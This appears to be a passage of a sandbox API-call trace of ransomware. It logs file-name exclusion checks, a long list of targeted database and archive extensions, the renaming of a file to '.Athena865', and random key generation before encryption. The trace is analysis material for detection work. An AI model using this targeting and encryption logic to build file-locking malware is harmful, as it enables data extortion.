lpString2="pagefile.sys") returned 1 [0049.968] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", lpString2="boot") returned 1 [0049.968] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", lpString2="ids.txt") returned 1 [0049.968] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", lpString2="ntuser.dat") returned 1 [0049.968] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", lpString2="perflogs") returned 1 [0049.968] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", lpString2="MSBuild") returned 1 [0049.968] lstrlenW (lpString="XkXyOUxk3hP_TJ3h.mp3") returned 20 [0049.968] lstrcpyW (in: lpString1=0x241e8c8, lpString2="XkXyOUxk3hP_TJ3h.mp3" | out: lpString1="XkXyOUxk3hP_TJ3h.mp3") returned="XkXyOUxk3hP_TJ3h.mp3" [0049.968] lstrlenW (lpString="XkXyOUxk3hP_TJ3h.mp3") returned 20 [0049.968] lstrlenW (lpString="Athena865") returned 9 [0049.968] lstrcmpiW (lpString1="_TJ3h.mp3", lpString2="Athena865") returned -1 [0049.968] lstrlenW (lpString=".dll") returned 4 [0049.968] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", lpString2=".dll") returned 1 [0049.969] lstrlenW (lpString=".lnk") returned 4 [0049.969] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", lpString2=".lnk") returned 1 [0049.969] lstrlenW (lpString=".ini") returned 4 [0049.969] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", lpString2=".ini") returned 1 [0049.969] lstrlenW (lpString=".sys") returned 4 [0049.969] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", lpString2=".sys") returned 1 [0049.969] lstrlenW (lpString="XkXyOUxk3hP_TJ3h.mp3") returned 20 [0049.969] lstrlenW (lpString="bak") returned 3 [0049.969] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1 [0049.969] lstrlenW (lpString="ba_") returned 3 [0049.969] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1 [0049.969] lstrlenW (lpString="dbb") returned 3 [0049.969] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1 [0049.969] lstrlenW (lpString="vmdk") returned 4 [0049.969] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1 [0049.969] lstrlenW (lpString="rar") returned 3 [0049.969] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1 [0049.969] lstrlenW (lpString="zip") returned 3 [0049.969] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1 [0049.969] lstrlenW (lpString="tgz") returned 3 [0049.969] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1 [0049.969] lstrlenW (lpString="vbox") returned 4 [0049.969] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1 [0049.969] lstrlenW (lpString="vdi") returned 3 [0049.969] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1 [0049.969] lstrlenW (lpString="vhd") returned 3 [0049.969] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1 [0049.969] lstrlenW (lpString="vhdx") returned 4 [0049.969] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1 [0049.969] lstrlenW (lpString="avhd") returned 4 [0049.969] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1 [0049.970] lstrlenW (lpString="db") returned 2 [0049.970] lstrcmpiW (lpString1="p3", lpString2="db") returned 1 [0049.970] lstrlenW (lpString="db2") returned 3 [0049.970] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1 [0049.970] lstrlenW (lpString="db3") returned 3 [0049.970] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1 [0049.970] lstrlenW (lpString="dbf") returned 3 [0049.970] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1 [0049.970] lstrlenW (lpString="mdf") returned 3 [0049.970] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1 [0049.970] lstrlenW (lpString="mdb") returned 3 [0049.970] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1 [0049.970] lstrlenW (lpString="sql") returned 3 [0049.970] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1 [0049.970] lstrlenW (lpString="sqlite") returned 6 [0049.970] lstrcmpiW (lpString1="3h.mp3", lpString2="sqlite") returned -1 [0049.970] lstrlenW (lpString="sqlite3") returned 7 [0049.970] lstrcmpiW (lpString1="J3h.mp3", lpString2="sqlite3") returned -1 [0049.970] lstrlenW (lpString="sqlitedb") returned 8 [0049.970] lstrcmpiW (lpString1="TJ3h.mp3", lpString2="sqlitedb") returned 1 [0049.970] lstrlenW (lpString="xml") returned 3 [0049.970] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1 [0049.970] lstrlenW (lpString="$er") returned 3 [0049.970] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1 [0049.970] lstrlenW (lpString="4dd") returned 3 [0049.970] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1 [0049.970] lstrlenW (lpString="4dl") returned 3 [0049.970] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1 [0049.970] lstrlenW (lpString="^^^") returned 3 [0049.970] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1 [0049.970] lstrlenW (lpString="abs") returned 3 [0049.970] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1 [0049.970] lstrlenW (lpString="abx") returned 3 [0049.971] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1 [0049.971] lstrlenW (lpString="accdb") returned 5 [0049.971] lstrcmpiW (lpString1="h.mp3", lpString2="accdb") returned 1 [0049.971] lstrlenW (lpString="accdc") returned 5 [0049.971] lstrcmpiW (lpString1="h.mp3", lpString2="accdc") returned 1 [0049.971] lstrlenW (lpString="accde") returned 5 [0049.971] lstrcmpiW (lpString1="h.mp3", lpString2="accde") returned 1 [0049.971] lstrlenW (lpString="accdr") returned 5 [0049.971] lstrcmpiW (lpString1="h.mp3", lpString2="accdr") returned 1 [0049.971] lstrlenW (lpString="accdt") returned 5 [0049.971] lstrcmpiW (lpString1="h.mp3", lpString2="accdt") returned 1 [0049.971] lstrlenW (lpString="accdw") returned 5 [0049.971] lstrcmpiW (lpString1="h.mp3", lpString2="accdw") returned 1 [0049.971] lstrlenW (lpString="accft") returned 5 [0049.971] lstrcmpiW (lpString1="h.mp3", lpString2="accft") returned 1 [0049.971] lstrlenW (lpString="adb") returned 3 [0049.971] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0049.971] lstrlenW (lpString="adb") returned 3 [0049.971] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0049.971] lstrlenW (lpString="ade") returned 3 [0049.971] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1 [0049.971] lstrlenW (lpString="adf") returned 3 [0049.971] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1 [0049.971] lstrlenW (lpString="adn") returned 3 [0049.971] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1 [0049.971] lstrlenW (lpString="adp") returned 3 [0049.971] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1 [0049.971] lstrlenW (lpString="alf") returned 3 [0049.971] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1 [0049.971] lstrlenW (lpString="ask") returned 3 [0049.971] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1 [0049.971] lstrlenW (lpString="btr") returned 3 [0049.971] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1 [0049.971] lstrlenW (lpString="cat") returned 3 [0049.972] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1 [0049.972] lstrlenW (lpString="cdb") returned 3 [0049.972] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1 [0049.972] lstrlenW (lpString="ckp") returned 3 [0049.972] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1 [0049.972] lstrlenW (lpString="cma") returned 3 [0049.972] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1 [0049.972] lstrlenW (lpString="cpd") returned 3 [0049.972] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1 [0049.972] lstrlenW (lpString="dacpac") returned 6 [0049.972] lstrcmpiW (lpString1="3h.mp3", lpString2="dacpac") returned -1 [0049.972] lstrlenW (lpString="dad") returned 3 [0049.972] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1 [0049.972] lstrlenW (lpString="dadiagrams") returned 10 [0049.972] lstrcmpiW (lpString1="P_TJ3h.mp3", lpString2="dadiagrams") returned 1 [0049.972] lstrlenW (lpString="daschema") returned 8 [0049.972] lstrcmpiW (lpString1="TJ3h.mp3", lpString2="daschema") returned 1 [0049.972] lstrlenW (lpString="db-journal") returned 10 [0049.972] lstrcmpiW (lpString1="P_TJ3h.mp3", lpString2="db-journal") returned 1 [0049.972] lstrlenW (lpString="db-shm") returned 6 [0049.972] lstrcmpiW (lpString1="3h.mp3", lpString2="db-shm") returned -1 [0049.972] lstrlenW (lpString="db-wal") returned 6 [0049.972] lstrcmpiW (lpString1="3h.mp3", lpString2="db-wal") returned -1 [0049.972] lstrlenW (lpString="dbc") returned 3 [0049.972] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1 [0049.972] lstrlenW (lpString="dbs") returned 3 [0049.972] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1 [0049.972] lstrlenW (lpString="dbt") returned 3 [0049.972] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1 [0049.972] lstrlenW (lpString="dbv") returned 3 [0049.972] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1 [0049.972] lstrlenW (lpString="dbx") returned 3 [0049.972] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1 [0049.972] lstrlenW (lpString="dcb") returned 3 [0049.972] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1 [0049.972] lstrlenW (lpString="dct") returned 3 [0049.972] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1 [0049.973] lstrlenW (lpString="dcx") returned 3 [0049.973] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1 [0049.973] lstrlenW (lpString="ddl") returned 3 [0049.973] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1 [0049.973] lstrlenW (lpString="dlis") returned 4 [0049.973] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1 [0049.973] lstrlenW (lpString="dp1") returned 3 [0049.973] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1 [0049.973] lstrlenW (lpString="dqy") returned 3 [0049.973] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1 [0049.973] lstrlenW (lpString="dsk") returned 3 [0049.973] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1 [0049.973] lstrlenW (lpString="dsn") returned 3 [0049.973] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1 [0049.973] lstrlenW (lpString="dtsx") returned 4 [0049.973] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1 [0049.973] lstrlenW (lpString="dxl") returned 3 [0049.973] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1 [0049.973] lstrlenW (lpString="eco") returned 3 [0049.973] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1 [0049.973] lstrlenW (lpString="ecx") returned 3 [0049.973] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1 [0049.973] lstrlenW (lpString="edb") returned 3 [0049.973] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1 [0049.973] lstrlenW (lpString="epim") returned 4 [0049.973] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1 [0049.973] lstrlenW (lpString="fcd") returned 3 [0049.973] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1 [0049.973] lstrlenW (lpString="fdb") returned 3 [0049.973] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1 [0049.973] lstrlenW (lpString="fic") returned 3 [0049.973] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1 [0049.973] lstrlenW (lpString="flexolibrary") returned 12 [0049.973] lstrcmpiW (lpString1="3hP_TJ3h.mp3", lpString2="flexolibrary") returned -1 [0049.973] lstrlenW (lpString="fm5") returned 3 [0049.973] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1 [0049.974] lstrlenW (lpString="fmp") returned 3 [0049.974] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1 [0049.974] lstrlenW (lpString="fmp12") returned 5 [0049.974] lstrcmpiW (lpString1="h.mp3", lpString2="fmp12") returned 1 [0049.974] lstrlenW (lpString="fmpsl") returned 5 [0049.974] lstrcmpiW (lpString1="h.mp3", lpString2="fmpsl") returned 1 [0049.974] lstrlenW (lpString="fol") returned 3 [0049.974] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1 [0049.974] lstrlenW (lpString="fp3") returned 3 [0049.974] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1 [0049.974] lstrlenW (lpString="fp4") returned 3 [0049.974] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1 [0049.974] lstrlenW (lpString="fp5") returned 3 [0049.974] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1 [0049.974] lstrlenW (lpString="fp7") returned 3 [0049.974] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1 [0049.974] lstrlenW (lpString="fpt") returned 3 [0049.974] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1 [0049.974] lstrlenW (lpString="frm") returned 3 [0049.974] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1 [0049.974] lstrlenW (lpString="gdb") returned 3 [0049.974] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0049.974] lstrlenW (lpString="gdb") returned 3 [0049.974] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0049.974] lstrlenW (lpString="grdb") returned 4 [0049.974] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1 [0049.974] lstrlenW (lpString="gwi") returned 3 [0049.974] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1 [0049.974] lstrlenW (lpString="hdb") returned 3 [0049.974] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1 [0049.974] lstrlenW (lpString="his") returned 3 [0049.974] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1 [0049.974] lstrlenW (lpString="ib") returned 2 [0049.974] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1 [0049.974] lstrlenW (lpString="idb") returned 3 [0049.974] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1 [0049.974] lstrlenW (lpString="ihx") returned 3 [0049.975] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1 [0049.975] lstrlenW (lpString="itdb") returned 4 [0049.975] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1 [0049.975] lstrlenW (lpString="itw") returned 3 [0049.975] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1 [0049.975] lstrlenW (lpString="jet") returned 3 [0049.975] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1 [0049.975] lstrlenW (lpString="jtx") returned 3 [0049.975] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1 [0049.975] lstrlenW (lpString="kdb") returned 3 [0049.975] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1 [0049.975] lstrlenW (lpString="kexi") returned 4 [0049.975] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1 [0049.975] lstrlenW (lpString="kexic") returned 5 [0049.975] lstrcmpiW (lpString1="h.mp3", lpString2="kexic") returned -1 [0049.975] lstrlenW (lpString="kexis") returned 5 [0049.975] lstrcmpiW (lpString1="h.mp3", lpString2="kexis") returned -1 [0049.975] lstrlenW (lpString="lgc") returned 3 [0049.975] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1 [0049.975] lstrlenW (lpString="lwx") returned 3 [0049.975] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1 [0049.975] lstrlenW (lpString="maf") returned 3 [0049.975] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1 [0049.975] lstrlenW (lpString="maq") returned 3 [0049.975] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1 [0049.975] lstrlenW (lpString="mar") returned 3 [0049.975] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1 [0049.975] lstrlenW (lpString="marshal") returned 7 [0049.975] lstrcmpiW (lpString1="J3h.mp3", lpString2="marshal") returned -1 [0049.975] lstrlenW (lpString="mas") returned 3 [0049.975] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1 [0049.975] lstrlenW (lpString="mav") returned 3 [0049.975] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1 [0049.975] lstrlenW (lpString="maw") returned 3 [0049.975] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1 [0049.975] lstrlenW (lpString="mdbhtml") returned 7 [0049.975] lstrcmpiW (lpString1="J3h.mp3", lpString2="mdbhtml") returned -1 [0049.976] lstrlenW (lpString="mdn") returned 3 [0049.976] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1 [0049.976] lstrlenW (lpString="mdt") returned 3 [0049.976] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1 [0049.976] lstrlenW (lpString="mfd") returned 3 [0049.976] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1 [0049.976] lstrlenW (lpString="mpd") returned 3 [0049.976] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1 [0049.976] lstrlenW (lpString="mrg") returned 3 [0049.976] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1 [0049.976] lstrlenW (lpString="mud") returned 3 [0049.976] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1 [0049.976] lstrlenW (lpString="mwb") returned 3 [0049.976] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1 [0049.976] lstrlenW (lpString="myd") returned 3 [0049.976] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1 [0049.976] lstrlenW (lpString="ndf") returned 3 [0049.976] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1 [0049.976] lstrlenW (lpString="nnt") returned 3 [0049.976] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1 [0049.976] lstrlenW (lpString="nrmlib") returned 6 [0049.976] lstrcmpiW (lpString1="3h.mp3", lpString2="nrmlib") returned -1 [0049.976] lstrlenW (lpString="ns2") returned 3 [0049.976] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1 [0049.976] lstrlenW (lpString="ns3") returned 3 [0049.976] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1 [0049.976] lstrlenW (lpString="ns4") returned 3 [0049.976] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1 [0049.976] lstrlenW (lpString="nsf") returned 3 [0049.976] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1 [0049.976] lstrlenW (lpString="nv") returned 2 [0049.976] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1 [0049.976] lstrlenW (lpString="nv2") returned 3 [0049.977] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1 [0049.977] lstrlenW (lpString="nwdb") returned 4 [0049.977] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1 [0049.977] lstrlenW (lpString="nyf") returned 3 [0049.977] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1 [0049.977] lstrlenW (lpString="odb") returned 3 [0049.977] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0049.977] lstrlenW (lpString="odb") returned 3 [0049.977] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0049.977] lstrlenW (lpString="oqy") returned 3 [0049.977] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1 [0049.977] lstrlenW (lpString="ora") returned 3 [0049.977] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1 [0049.977] lstrlenW (lpString="orx") returned 3 [0049.977] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1 [0049.977] lstrlenW (lpString="owc") returned 3 [0049.977] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1 [0049.977] lstrlenW (lpString="p96") returned 3 [0049.977] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1 [0049.977] lstrlenW (lpString="p97") returned 3 [0049.977] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1 [0049.977] lstrlenW (lpString="pan") returned 3 [0049.977] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1 [0049.977] lstrlenW (lpString="pdb") returned 3 [0049.977] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1 [0049.977] lstrlenW (lpString="pdm") returned 3 [0049.977] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1 [0049.977] lstrlenW (lpString="pnz") returned 3 [0049.977] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1 [0049.977] lstrlenW (lpString="qry") returned 3 [0049.977] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1 [0049.977] lstrlenW (lpString="qvd") returned 3 [0049.977] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1 [0049.978] lstrlenW (lpString="rbf") returned 3 [0049.978] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1 [0049.978] lstrlenW (lpString="rctd") returned 4 [0049.978] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1 [0049.978] lstrlenW (lpString="rod") returned 3 [0049.978] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1 [0049.978] lstrlenW (lpString="rodx") returned 4 [0049.978] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1 [0049.978] lstrlenW (lpString="rpd") returned 3 [0049.978] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1 [0049.978] lstrlenW (lpString="rsd") returned 3 [0049.978] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1 [0049.978] lstrlenW (lpString="sas7bdat") returned 8 [0049.978] lstrcmpiW (lpString1="TJ3h.mp3", lpString2="sas7bdat") returned 1 [0049.978] lstrlenW (lpString="sbf") returned 3 [0049.978] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1 [0049.978] lstrlenW (lpString="scx") returned 3 [0049.978] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1 [0049.978] lstrlenW (lpString="sdb") returned 3 [0049.978] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1 [0049.978] lstrlenW (lpString="sdc") returned 3 [0049.978] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1 [0049.978] lstrlenW (lpString="sdf") returned 3 [0049.978] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1 [0049.978] lstrlenW (lpString="sis") returned 3 [0049.978] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1 [0049.978] lstrlenW (lpString="spq") returned 3 [0049.978] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1 [0049.978] lstrlenW (lpString="te") returned 2 [0049.978] lstrcmpiW (lpString1="p3", lpString2="te") returned -1 [0049.978] lstrlenW (lpString="teacher") returned 7 [0049.978] lstrcmpiW (lpString1="J3h.mp3", lpString2="teacher") returned -1 [0049.978] lstrlenW (lpString="tmd") returned 3 [0049.979] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1 [0049.979] lstrlenW (lpString="tps") returned 3 [0049.979] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1 [0049.979] lstrlenW (lpString="trc") returned 3 [0049.979] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0049.979] lstrlenW (lpString="trc") returned 3 [0049.979] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0049.979] lstrlenW (lpString="trm") returned 3 [0049.979] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1 [0049.979] lstrlenW (lpString="udb") returned 3 [0049.979] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1 [0049.979] lstrlenW (lpString="udl") returned 3 [0049.979] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1 [0049.979] lstrlenW (lpString="usr") returned 3 [0049.979] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1 [0049.979] lstrlenW (lpString="v12") returned 3 [0049.979] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1 [0049.979] lstrlenW (lpString="vis") returned 3 [0049.979] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1 [0049.979] lstrlenW (lpString="vpd") returned 3 [0049.979] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1 [0049.979] lstrlenW (lpString="vvv") returned 3 [0049.979] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1 [0049.979] lstrlenW (lpString="wdb") returned 3 [0049.979] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1 [0049.979] lstrlenW (lpString="wmdb") returned 4 [0049.979] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1 [0049.979] lstrlenW (lpString="wrk") returned 3 [0049.979] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1 [0049.979] lstrlenW (lpString="xdb") returned 3 [0049.979] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1 [0049.979] lstrlenW (lpString="xld") returned 3 [0049.979] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1 [0049.979] lstrlenW (lpString="xmlff") returned 5 [0049.980] lstrcmpiW (lpString1="h.mp3", lpString2="xmlff") returned -1 [0049.980] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\XkXyOUxk3hP_TJ3h.mp3.Athena865") returned 94 [0049.980] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\XkXyOUxk3hP_TJ3h.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\xkxyouxk3hp_tj3h.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\XkXyOUxk3hP_TJ3h.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\xkxyouxk3hp_tj3h.mp3.athena865"), dwFlags=0x1) returned 1 [0049.980] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\XkXyOUxk3hP_TJ3h.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\xkxyouxk3hp_tj3h.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.980] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32256) returned 1 [0049.980] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.981] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.981] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.981] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.982] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8100, lpName=0x0) returned 0x154 [0049.982] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8100) returned 0x100000 [0049.983] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.984] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.984] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0049.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0049.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: 